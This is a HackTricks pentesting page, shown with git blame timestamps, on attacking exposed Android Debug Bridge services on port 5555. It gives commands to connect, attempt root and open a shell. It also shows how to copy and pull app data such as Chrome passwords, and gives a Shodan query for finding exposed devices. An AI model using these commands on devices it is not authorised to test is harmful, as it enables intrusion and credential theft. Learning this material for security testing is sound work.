hacktricks/network-services-pentesting/5555-android-debug-bridge.md

78 lines
3.9 KiB
Markdown
Raw Normal View History

2022-05-01 13:25:53 +00:00
# 5555 - Android Debug Bridge
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 23:16:27 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-05-01 13:25:53 +00:00
## Basic Information
2021-11-12 01:11:08 +00:00
2024-02-08 21:36:35 +00:00
From [the docs](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as i**nstalling and debugging apps**, and it provides **access to a Unix shell** that you can use to run a variety of commands on a device.
2021-11-12 01:11:08 +00:00
**Default port**: 5555.
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
2022-05-01 13:25:53 +00:00
## Connect
2021-11-12 01:11:08 +00:00
If find the ADB service running in a port of a device and you can connect to it, **you can get a shell inside the system:**
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
```
For more ADB commands check the following page:
2022-05-01 13:25:53 +00:00
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
2021-11-12 01:11:08 +00:00
{% endcontent-ref %}
2022-05-01 13:25:53 +00:00
### Dump App data
2021-11-12 01:11:08 +00:00
In order to completely download the data of an application you can:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
```
You can use this trick to **retrieve sensitive information like chrome passwords**. For more info about this check the information a references provided [**here**](https://github.com/carlospolop/hacktricks/issues/274).
2022-05-01 13:25:53 +00:00
## Shodan
* `android debug bridge`
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-18 23:16:27 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-18 23:16:27 +00:00
{% endhint %}